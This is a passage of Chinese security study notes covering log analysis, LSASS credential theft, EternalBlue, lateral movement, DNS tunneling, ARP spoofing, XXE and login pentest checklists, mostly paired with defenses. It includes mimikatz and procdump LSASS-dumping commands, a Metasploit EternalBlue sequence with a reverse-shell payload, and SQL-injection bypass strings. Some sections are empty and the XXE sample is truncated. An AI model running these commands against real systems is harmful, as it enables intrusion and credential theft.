Event ID | 含义 | 说明 |
---|---|---|
4624 | 登录成功 | 表示用户成功登录系统 |
4625 | 登录失败 ✅ | 表示登录尝试失败,是暴力破解最关键的日志标志 |
4672 | 特权登录 | 表示具有管理员权限的账户登录(用于检测高权限账户活动) |
4648 | 显式凭证登录 | 用户在使用runas 或远程方式提供用户名/密码登录 |
典型特征:
防护建议:
location /uploads { deny all; }
)X-Forwarded-For
(简称 XFF)是一个 HTTP 请求头,用于标识请求的客户端真实 IP 地址,通常用于代理服务器或负载均衡器转发请求时。然而,这个字段是可以被伪造的,这意味着攻击者可以通过篡改该头部来欺骗服务器,使其误以为请求来自信任的 IP 地址。
伪造方法:
攻击者可以在 HTTP 请求头中伪造 X-Forwarded-For
字段,以覆盖或修改真实的客户端 IP 地址。例如:
X-Forwarded-For: 127.0.0.1
在这种情况下,攻击者伪造请求头,将其 IP 地址改为 127.0.0.1
,使得 Web 服务器误认为请求来自本地计算机。这可能导致绕过 IP 黑名单或白名单控制。
伪造的目的:
防护措施:
X-Forwarded-For
:服务器应避免直接信任 X-Forwarded-For
字段,特别是当它来自不受信任的源(如直接暴露给公网的代理)。X-Forwarded-For
字段,过滤不可信的 IP 地址。通过这些措施,Web 应用可以有效减少 X-Forwarded-For
伪造带来的安全风险。
什么是 LSASS?
LSASS(Local Security Authority Subsystem Service)是 Windows 操作系统中的一个核心系统进程,进程名为:lsass.exe
。
它负责处理操作系统的安全策略,例如:
⚠️ 为什么 LSASS 是攻击目标?
由于 LSASS 进程内存中保存了登录过的用户的密码明文、哈希、Kerberos 票据等敏感信息,所以它成为了攻击者在获取权限后,进一步横向移动或提升权限的关键目标。
常见的攻击方式:
Mimikatz 工具提权: 攻击者用 Mimikatz 读取 LSASS 内存,从中提取明文密码、NTLM 哈希或 Kerberos 票据。
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
LSASS 内存转储 + 离线分析: 将 LSASS 进程内存转储为 .dmp
文件后,通过工具分析提取凭据。
procdump -ma lsass.exe lsass.dmp
横向移动: 利用导出的凭据攻击其他主机(如使用 pass-the-hash
或 pass-the-ticket
攻击)。
风险示例:
️ 防护措施:
类别 | 防护措施 |
---|---|
系统配置 | 启用 LSA 保护(Credential Guard、RunAsPPL)防止访问 LSASS |
权限控制 | 限制本地管理员权限,开启 UAC,限制调试权限 |
检测工具 | 使用 EDR 工具监控对 LSASS 的访问行为 |
日志审计 | 开启 4624、4625、4672 等登录事件的日志监控 |
网络防护 | 阻止攻击者上传工具,如 mimikatz.exe,封锁异常出网流量 |
小结:
中间人攻击(MITM,Man-In-The-Middle)是一种网络攻击方式,攻击者在通信双方之间悄悄插入自己,拦截、篡改、窃听或伪造数据,而双方通常毫不知情。
工作原理:
攻击者通过以下方式介入通信流程:
常见 MITM 攻击场景:
场景 | 描述 |
---|---|
公共 Wi-Fi 攻击 | 攻击者搭建“钓鱼热点”或监听无加密的 Wi-Fi 网络 |
DNS 欺骗 | 把用户请求的域名解析到攻击者控制的服务器上 |
ARP 欺骗 | 局域网中欺骗网关和主机,实现流量转发或篡改 |
HTTPS 劫持 | 替换证书,绕过加密通信(如果客户端不验证证书) |
✅ 防御措施:
SMB(Server Message Block)协议 是 Windows 系统中用于文件共享、打印机共享、远程服务等功能的核心协议。
端口:
常见工具:Windows 资源共享(\IP\共享名)、smbclient
、smbmap
、impacket
等。
常见 SMB 协议漏洞(攻击者常用)
① EternalBlue(永恒之蓝)
漏洞编号:MS17-010
影响系统:Windows XP 到 Windows Server 2012
攻击方式:利用 SMBv1 协议的漏洞,实现 远程代码执行(RCE)
攻击工具:
exploit/windows/smb/ms17_010_eternalblue
EternalBlue-DoublePulsar
、EternalScanner
⚠️ 该漏洞被 WannaCry 勒索病毒 用于大规模传播!
拓展:MS17-010 的横向移动过程
② SMBGhost(CVE-2020-0796)
️ 漏洞利用步骤(以 EternalBlue 为例):
目标扫描
nmap -p 445 --script=smb-vuln-ms17-010 <target-ip>
确认漏洞存在 工具如 smbclient
, smbmap
, impacket-scan
发起攻击(Metasploit 框架)
use exploit/windows/smb/ms17_010_eternalblue
set RHOST <目标IP>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <你的IP>
exploit
获得 shell(meterpreter) ,继续内网渗透、提权或横向移动。
防御措施:
总结:
项目 | 内容 |
---|---|
协议 | SMB(文件共享、远程服务) |
风险 | 存在多个远程代码执行漏洞 |
常见漏洞 | EternalBlue(MS17-010)、SMBGhost 等 |
后果 | 获取系统权限、横向移动、传播勒索病毒 |
防御 | 打补丁、关闭 SMBv1、限制端口访问、加强监控 |
内网横向移动是指攻击者在成功入侵内网一台主机后,以该主机为跳板,进一步渗透内网其他系统的过程。这是高级持续性威胁(APT)攻击中的关键环节。
常见横向移动技术
① 凭证窃取与重用
② 利用网络服务漏洞
③ 利用管理工具
④ 利用信任关系
⑤ 中间人攻击
横向移动检测常见日志来源:
日志类型 | 作用 |
---|---|
️Windows 安全日志(4624/4625) | 检测登录成功/失败,追踪访问路径 |
Sysmon 日志(如事件 3) | 检测网络连接行为(含目标 IP 和端口) |
PowerShell 脚本执行日志 | 检测攻击者执行的横向脚本 |
防火墙/IDS/IPS 日志 | 检测可疑的内部流量(端口扫描、爆破) |
已失陷主机作为横向跳板的典型迹象
1. 异常 DNS 活动
abc123.xyz
、malware-update.net
等)。说明:攻击者可能通过 DNS 通道与 C2 服务器通信。
2. 横向扫描或连接尝试
向内网多个主机发起:
利用 PsExec、WMI、PowerShell Remoting 远程执行命令。
说明:失陷主机被用来在内网“横向探测”和“横向控制”。
3. 异常登录行为
4. 异常进程行为
出现非常规进程或执行路径,如:
cmd.exe
/ powershell.exe
被远程触发执行。svchost.exe
、wmiprvse.exe
等系统进程被滥用。进程间调用链异常,例如某个普通用户触发了远程服务启动。
5. 网络行为异常
6. 安全工具告警
横向移动的主要特征:
横向移动的关键是“合法账号被用于在多台主机间移动”
检测与防御建议:
攻击类型 | 日志特征关键字 / URL 特征 | 示例 | 说明 |
---|---|---|---|
SQL 注入 | UNION SELECT ,' OR '1'='1 ,-- ,%27 ,sleep ,user() ,information_schema |
id=1 UNION SELECT user(), NULL -- |
利用 SQL 语法注入恶意语句 |
XSS | ,alert(1) ,%3Cscript%3E ,onerror= ,img src=... |
q= |
注入 JS 脚本,让浏览器执行恶意代码 |
目录遍历 | ../ ,%2e%2e%2f ,../../etc/passwd |
GET /../../../etc/passwd |
试图访问网站目录之外的系统文件 |
命令注入 | | 、; 、&& |
, ;, &&, whoami, curl, wget, cat, uname -a` |
cmd=whoami;ls -al |
文件包含 | ?file=... ,php://input ,php://filter ,../../ ,data:// |
file=../../../../etc/passwd |
试图包含系统文件或远程文件 |
远程代码执行(RCE) | eval() ,system() ,exec() ,base64_decode() ,assert() |
POST /upload.php + body: |
上传 WebShell 或通过 eval 执行命令 |
暴力破解 | 高频率请求登录页面、POST /login ,用户名常变化,IP 重复 |
多次POST /login user=admin&pass=xxx |
爆破账号密码 |
CSRF 尝试 | 伪造表单请求、不常见来源 Referer、有敏感操作参数 | POST /transfer?to=123&money=1000 |
非本站来源发起敏感操作 |
敏感文件探测 | .git ,.svn ,backup.zip ,www.rar ,.env ,web.config |
GET /.git/config |
探测源码管理或配置泄漏 |
扫描器指纹 | 大量奇怪路径请求,User-Agent 为sqlmap ,dirb ,nikto 等 |
GET /admin/login.php UA: sqlmap |
自动化扫描器尝试暴力探测路径/注入点 |
1. 目标识别(子域、资产)
2. 指纹识别(中间件/框架/语言)
3. 目录枚举 & 页面分析
4. 参数测试(注入点、上传点)
5. 漏洞利用(SQLi/XSS/File Upload)
6. 权限维持(Webshell、弱口令等)
C2(Command and Control)通信是指攻击者通过某种方式远程控制已经被入侵的设备或系统的通信方式。它是恶意软件生命周期中关键的一环,尤其是在僵尸网络(botnet)、远控木马、后门等攻击场景中。
C2 通信是什么?
当一个设备被感染后,恶意软件通常不会“自作主张”地发起攻击或窃取数据,而是会:
常见 C2 通信方式:
⚠️ 如何识别 C2 通信?
a13x4.example.com
)。防御策略:
DNS(Domain Name System)协议 是一种基于 UDP 或 TCP 协议的应用层协议,主要用于将域名(如 www.baidu.com)转换成 IP 地址(如 180.101.49.11)的过程。
它定义了客户端(如浏览器)与 DNS 服务器之间如何通信、格式如何组织,端口号是:
UDP 53 端口(查询用,99%情况下)
TCP 53 端口(区域传输、超长响应用)
DNS 的基本过程:
www.example.com
⚠️ 与安全相关的 DNS 知识:
① DNS 劫持
攻击者拦截或篡改 DNS 请求,把你本来要去的地址换成恶意网站。例如:
bank.com
② DNS 隧道(DNS Tunneling)
黑客可以把数据伪装成 DNS 请求发出,实现突破防火墙限制。
比如这个“域名”:
cGFzc3dvcmQ9aGFja2VkLmV2aWwtdHVuLmNvbQ==
实际上是 base64 编码的敏感信息!
恶意软件就会把窃取的数据藏在这种“看起来像 DNS”的请求里发送出去。
③ 恶意域名通信
C2 控制端可能通过动态域名(DDNS)或算法生成的域名(DGA)来控制僵尸主机。
如何监控 DNS 异常?
DNS 安全建议:
日志类型 | 路径/来源 | 用途 | 示例用途 |
---|---|---|---|
系统日志(syslog) | /var/log/syslog 、/var/log/messages |
系统级事件、服务运行情况 | 检查系统启动、服务崩溃 |
认证日志 | /var/log/auth.log |
登录、sudo、ssh 等认证信息 | 分析爆破、非法登录 |
cron 日志 | /var/log/cron |
定时任务执行记录 | 检查是否被植入计划任务 |
web 服务日志 | /var/log/nginx/access.log 等 |
访问行为、请求来源 | 检测 Web 攻击(如 SQL 注入) |
防火墙日志 | 依厂商不同(如 iptables、UFW) | 流量允许/阻止记录 | 检查端口扫描、拒绝连接等 |
EDR/安全软件日志 | 厂商定义 | 恶意行为检测与响应 | 横向移动、命令执行、进程注入等 |
Windows 安全日志 | Windows Event Viewer(如 4624、4625) | 登录、权限变更、审计事件 | 监控横向移动、权限提升 |
数据库日志 | mysql.log 、慢查询日志等 |
数据库操作记录 | 注入攻击分析、性能优化 |
邮件日志 | /var/log/maillog 或 Postfix |
邮件收发行为 | 钓鱼攻击溯源 |
DNS 日志 | BIND、dnsmasq、EDR DNS 模块 | 域名查询行为 | 检测 C2 通信、DNS 隧道 |
️ 安全日志排查建议
auth.log
、cron
、syslog
access.log
、error.log
、WAF 日志常见通信特征包括:
X-Requested-With: XMLHttpRequest
){"data":"xxxxx"}
拓展知识:
工具 | 特征 |
---|---|
Godzilla | 加密通信,POST+JSON,Base64,X-Requested-With 伪装 Ajax |
Cobalt Strike Beacon | 可自定义通信方式,支持 HTTP、HTTPS、DNS,常伪装为正常请求 |
Behinder | 加密 payload,通信可能为 AES/RSA,支持异步 |
ARP(地址解析协议) 用于将 IP 地址解析为 MAC 地址,它是以太网通信的基础。
ARP 攻击(ARP 欺骗/ARP spoofing) 这是内网中非常常见的一种中间人攻击方式,对网络安全非常有威胁,尤其是在缺乏防护的局域网环境中(如校园网、办公网等)。
正常流程:
主机 A 想找 192.168.1.1 的 MAC,会发送一个广播请求:
"谁是 192.168.1.1?告诉我你的 MAC。"
网关回应它的 MAC 地址,然后 A 就可以正常通信。
⚠️ ARP 欺骗的核心思想:
攻击者伪装成其他主机(尤其是网关),向局域网内发送伪造的 ARP 响应,比如告诉别人:
“嗨,我是网关(192.168.1.1),我的 MAC 是 xx:xx:xx:xx:xx:xx”
这样其他主机会把流量发给攻击者,攻击者再转发出去,实现中间人攻击(MITM)。
ARP 欺骗的危害
危害 | 描述 |
---|---|
中间人攻击(MITM) | 攻击者可以拦截、修改或伪造通信数据。 |
流量窃听 | 窃取账户密码、敏感文件、会话 Cookie 等。 |
会话劫持 | 比如伪造微信/QQ 网页版请求进行控制。 |
断网攻击 | 攻击者伪装成目标主机,让网关发错方向,目标主机“失联”。 |
DNS 劫持 | 配合伪造 DNS 响应实现钓鱼重定向。 |
如何识别 ARP 欺骗?
① 在网络设备或主机上:
② 命令行查看(Windows / Linux):
arp -a
查看是否有不一致的记录,比如:
192.168.1.1 00-11-22-33-44-55 192.168.1.1 66-77-88-99-aa-bb ← 出现多个!
️ 防御措施
措施 | 描述 |
---|---|
静态 ARP 绑定 | 在关键设备(如网关)设置静态 IP-MAC 映射。 |
启用交换机端口安全 | 限制一个端口只能对应一个 MAC 地址。 |
使用 DHCP Snooping + Dynamic ARP Inspection(DAI) | 企业级交换机功能,可有效防止 ARP 欺骗。 |
部署 IDS/IPS 工具 | 如 Snort、Arpwatch 可检测异常 ARP 流量。 |
VPN 隧道加密通信 | 防止攻击者即使抓包也无法读取明文内容。 |
XML 注入攻击 是一种通过操控 XML 数据,向 Web 应用程序注入恶意的 XML 代码或标签,从而利用应用程序在处理 XML 数据时的漏洞,进行未授权的操作或数据泄露的攻击方式。这类攻击主要利用应用程序对 XML 数据解析时的安全性漏洞。
1. 攻击原理
XML 注入攻击的原理基于应用程序处理 XML 输入时的漏洞。攻击者通过构造特殊的 XML 数据来干扰 XML 解析过程,可能导致以下情况:
① 信息泄露:攻击者能够通过注入恶意 XML 标签,访问系统的文件或敏感数据。
② 绕过验证:攻击者利用 XML 格式的注入绕过应用程序的输入验证或访问控制。
③ 执行恶意代码:通过恶意的 XML 注入,攻击者能够执行服务器上的代码,导致权限提升或其他安全漏洞。
2. 常见攻击方式
① 外部实体注入(XXE,XML External Entity Injection) : XXE 是 XML 注入的一种常见形式,攻击者通过构造恶意的 XML 数据请求,利用外部实体加载敏感文件或执行恶意操作。例如,攻击者可以通过 XML 请求访问服务器上敏感文件如 /etc/passwd
或执行远程代码。
示例:
DOCTYPE foo [
<!ELEMENT foo ANY >
]>
<foo>&xxe;foo>
这种攻击会导致解析器尝试加载文件 /etc/passwd
,从而暴露敏感信息。
② 恶意 XML 标签注入: 攻击者通过在 XML 数据中注入恶意标签或属性,篡改原本的请求,造成验证绕过、数据泄漏、服务崩溃等安全问题。
③ XML 实体扩展攻击: 攻击者可以利用 XML 实体注入漏洞,注入恶意代码或执行恶意操作,导致服务器出现拒绝服务(DoS)等攻击。
3. 常见影响
4. 防护措施
① 禁用外部实体解析(XXE) : 在处理 XML 数据时,禁用外部实体解析功能,防止通过恶意实体加载敏感文件或执行恶意操作。
例如,Java 中禁用外部实体:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
② 输入验证与清理: 对用户输入的 XML 数据进行严格验证,确保不包含恶意的标签或特殊字符。对 XML 数据进行转义或清洗,防止非法数据被执行。
③ 使用安全的 XML 解析库: 使用经过安全审计的 XML 解析库,这些库通常会默认禁用不安全的功能,如外部实体解析、DDoS 风险等。
④ 最小化 XML 处理功能: 仅启用 XML 解析所需的基本功能,避免启用可能导致漏洞的高级功能,如外部实体引用、DTD(文档类型定义)等。
⑤ 保持库和框架的更新: 确保使用的 XML 解析库和相关框架是最新的,及时修复已知的安全漏洞。
⑥ 配置 Web 应用防火墙(WAF) : 使用 WAF 对 XML 请求进行过滤,检测和阻止恶意的 XML 注入攻击。
5. 总结
XML 注入攻击是一种通过恶意 XML 数据操控应用程序的攻击方式,可能导致信息泄露、拒绝服务(DoS)或远程代码执行等严重安全问题。为了防止 XML 注入攻击,开发人员应加强对 XML 输入的验证和清理,禁用不必要的解析功能,使用安全的解析库,并定期更新应用程序和库,确保系统安全。
POC 是概念验证代码,主要目的是为了验证漏洞是否真实存在,常用于渗透测试或漏洞复现过程中。它通常不包含破坏性payload,只是用来触发漏洞,比如访问异常页面、看到系统信息、返回特定报错等。
POC vs EXP 的区别
名称 | 全称 | 用途 | 特点 |
---|---|---|---|
POC | Proof of Concept | 验证漏洞是否存在 | 安全、非破坏性 |
EXP | Exploit | 利用漏洞执行攻击 | 有破坏性,可植入木马等 |
POC 的形式有哪些?
APT 攻击,全称 Advanced Persistent Threat(高级持续性威胁) ,是目前最具破坏性和隐蔽性的网络攻击形式之一,常用于国家级黑客、情报机构、APT组织进行长期、高价值目标的渗透和控制。
简单来说,APT攻击是一种有组织、有计划、长期潜伏并持续对目标实施信息窃取或破坏的攻击行为。
APT 攻击往往遵循如下流程(ATT&CK / Kill Chain 模型)
① 初始入侵(Initial Access)
② 权限提升(Privilege Escalation)
③ 横向移动(Lateral Movement)
④ 持久化控制(Persistence)
⑤ 数据收集与窃取(Data Exfiltration)
⑥ 隐匿与清除(Defense Evasion)
️ 防御 APT 的关键策略
提升检测能力
加强边界和内部安全
及时打补丁
应急响应机制
登录渗透测试
├─ 信息收集
├─ 爆破弱口令
├─ 验证码绕过
├─ SQL注入
├─ 认证逻辑漏洞
├─ 会话管理问题
├─ 功能旁路测试
├─ 前端信息泄露
└─ 登录后漏洞验证
1. 第一步:信息收集(Recon)
测试内容 | 说明 |
---|---|
页面观察 | 表单字段名?是否有验证码?是否有第三方登录? |
请求抓包 | 抓取 POST 请求、参数、返回包结构 |
源码审计 | 查看 HTML/JS 中是否有敏感信息、调试语句 |
指纹识别 | 确认使用的框架/系统,如 Spring、ThinkPHP |
响应分析 | 错误提示是否区分用户/密码?有无响应时间差? |
URL 参数 | 有无重定向字段,如next= 、redirect= |
2. 第二步:测试弱口令/爆破
步骤:
① 使用 Burp Suite 抓取登录包
② 用 Intruder 模块进行爆破测试
③ 尝试弱口令如:admin / admin123 / 123456 / root / qwe123 / test123
绕过方式:
3. 第三步:验证码绕过测试
绕过方式 | 举例 |
---|---|
不校验验证码 | 请求包中验证码字段可省略或为空 |
验证码可复用 | 多次提交同一个验证码 |
验证码逻辑绕过 | 登录接口不走验证码验证接口 |
验证码接口缺陷 | 可直接获取图形验证码内容(接口未鉴权) |
4. 第四步:注入攻击测试(SQL 注入)
测试 payload:
admin' or '1'='1
admin" or "1"="1
admin'--
观察是否绕过登录成功,或出现异常提示(如SQL报错)。
工具辅助:sqlmap -r login.req --batch
5. 第五步:认证逻辑漏洞测试
漏洞类型 | 示例 |
---|---|
只验证用户名 | 不校验密码即可登录 |
默认token机制 | 登录后cookie可伪造,如admin_token=1 |
OAuth登录绕过 | 篡改 openid、code 参数即可接管其他账户 |
逻辑缺陷 | 用户登录状态可直接切换身份,如uid=1 即为 admin |
6. 第六步:会话管理漏洞测试
重点测试:
alg=none
)?
7. 第七步:功能旁路点测试
目标 | 举例 |
---|---|
注册接口 | 是否可绕过认证注册管理员? |
忘记密码 | 是否泄露账号存在与否? |
接口分离 | 是否存在绕过验证码的登录接口?(如/api/login_nocaptcha ) |
8. 第八步:前端JS信息泄露
检查点:
9. 第九步:登录成功后继续测试
深入测试点:
方法 | 功能 | 常见用途 | 风险点 |
---|---|---|---|
GET | 请求资源 | 浏览网页、查询数据 | URL参数泄露、缓存攻击 |
POST | 提交数据 | 表单提交、登录请求 | CSRF、XSS、SQL注入等 |
PUT | 上传或替换资源 | 文件上传(API/服务) | 任意文件上传漏洞 |
DELETE | 删除资源 | RESTful 接口中删除数据 | 权限绕过可导致数据破坏 |
HEAD | 获取响应头 | 探测网页状态/内容类型 | 枚举资源是否存在 |
OPTIONS | 探测支持的方法 | CORS 探测、权限分析 | 探测服务能力 |
PATCH | 局部更新资源 | JSON Patch API 更新 | 不常见,但有应用风险 |
TRACE | 回显请求内容 | 调试用途 | XST 攻击(跨站追踪) ,高危 |
CONNECT | 建立隧道连接 | HTTPS代理使用 | SSRF/端口探测风险高 |
常见请求头(Headers)
请求头名称 | 作用说明 |
---|---|
Host |
目标服务器域名 |
User-Agent |
客户端标识(浏览器、系统) |
Accept |
可接受的响应类型 |
Accept-Encoding |
支持的压缩方式(如 gzip) |
Content-Type |
请求体的类型(如表单、JSON) |
Content-Length |
请求体的长度(字节) |
Authorization |
认证信息(如 Token、Basic Auth) |
Cookie |
携带的 Cookie 数据 |
Referer |
当前请求来自哪个页面(反盗链等用途) |
Connection |
是否保持连接(keep-alive / close) |
文本类(Text)
文件扩展名 | MIME 类型 | 描述 |
---|---|---|
.txt |
text/plain |
普通文本 |
.html |
text/html |
HTML 文档 |
.css |
text/css |
样式表 |
.js |
application/javascript |
JavaScript 脚本 |
.xml |
application/xml |
XML 文档 |
.csv |
text/csv |
逗号分隔值 |
.md |
text/markdown |
Markdown 文本 |
️ 图片类(Image)
文件扩展名 | MIME 类型 | 描述 |
---|---|---|
.jpg/.jpeg |
image/jpeg |
JPEG 图像 |
.png |
image/png |
PNG 图像 |
.gif |
image/gif |
GIF 动图 |
.bmp |
image/bmp |
BMP 图像 |
.svg |
image/svg+xml |
SVG 矢量图 |
.ico |
image/x-icon |
网站图标(favicon) |
.webp |
image/webp |
WebP 图像 |
音频类(Audio)
文件扩展名 | MIME 类型 | 描述 |
---|---|---|
.mp3 |
audio/mpeg |
MP3 音频 |
.wav |
audio/wav |
WAV 音频 |
.ogg |
audio/ogg |
OGG 音频 |
.m4a |
audio/mp4 |
MPEG-4 音频 |
视频类(Video)
文件扩展名 | MIME 类型 | 描述 |
---|---|---|
.mp4 |
video/mp4 |
MP4 视频 |
.webm |
video/webm |
WebM 视频 |
.ogg |
video/ogg |
Ogg 视频 |
.avi |
video/x-msvideo |
AVI 视频 |
.mov |
video/quicktime |
QuickTime 视频 |
应用类(Application)
文件扩展名 | MIME 类型 | 描述 |
---|---|---|
.json |
application/json |
JSON 数据 |
.pdf |
application/pdf |
PDF 文件 |
.zip |
application/zip |
ZIP 压缩包 |
.rar |
application/x-rar-compressed |
RAR 压缩包 |
.exe |
application/octet-stream |
可执行文件(或任意二进制) |
.doc |
application/msword |
Word 文档 |
.docx |
application/vnd.openxmlformats-officedocument.wordprocessingml.document |
Word 文档(新版) |
.xls |
application/vnd.ms-excel |
Excel 文档 |
.xlsx |
application/vnd.openxmlformats-officedocument.spreadsheetml.sheet |
Excel 文档(新版) |
.ppt |
application/vnd.ms-powerpoint |
PowerPoint 演示文稿 |
.pptx |
application/vnd.openxmlformats-officedocument.presentationml.presentation |
PowerPoint(新版) |
"响应状态码"(HTTP Status Codes)是服务器对客户端请求的响应中包含的代码,用于表示请求处理的结果。以下是常见的几类状态码及其含义:
1xx 信息性状态码(Informational)
表示请求已接收,继续处理。
100 Continue:客户端应继续其请求。
101 Switching Protocols:协议切换。
2xx 成功状态码(Success)
表示请求已成功被接收、理解和接受。
200 OK:请求成功。
201 Created:请求成功并创建了新资源。
204 No Content:请求成功但无返回内容。
3xx 重定向状态码(Redirection)
客户端需要进一步操作才能完成请求。
301 Moved Permanently:永久重定向。
302 Found(临时重定向)。
304 Not Modified:资源未修改,可使用缓存。
4xx 客户端错误状态码(Client Error)
请求有误或资源不存在。
400 Bad Request:请求语法错误。
401 Unauthorized:未授权,需身份验证。
403 Forbidden:服务器拒绝请求。
404 Not Found:资源不存在。
429 Too Many Requests:请求频率过高。
5xx 服务器错误状态码(Server Error)
服务器未能完成合法请求。
500 Internal Server Error:服务器内部错误。
502 Bad Gateway:网关错误。
503 Service Unavailable:服务不可用。
504 Gateway Timeout:网关超时。
AJP(Apache JServ Protocol) 是一种由 Apache 软件基金会设计的 高效的二进制协议,用于前端 Web 服务器(如 Apache HTTPD、Nginx)和后端 Java 应用服务器(如 Apache Tomcat)之间的通信。
AJP 的核心作用:将用户的 HTTP 请求 通过 AJP 协议 转发到 Tomcat 等 Java Web 容器上处理,再把响应返回给用户。
简单工作流程:
AJP 的特点:
特点 | 说明 |
---|---|
协议类型 | 二进制协议(比文本协议如 HTTP 更快) |
默认端口 | 8009 |
双向通信 | 支持请求转发和响应返回 |
支持功能 | 请求头传递、SSL 信息、会话 ID、远程地址等 |
使用场景 | Apache + Tomcat 架构中常用,如使用mod_jk 、mod_proxy_ajp 等模块时 |
可能存在的危害:
AJP 默认监听 8009 端口,若未做访问限制或身份验证,可能会被攻击者利用,造成:
① 未授权读取文件;
② 远程代码执行(如 CVE-2020-1938);
建议配置:
若不使用 AJP,建议关闭;
若必须使用:
127.0.0.1
;secretRequired="true"
和强 secret;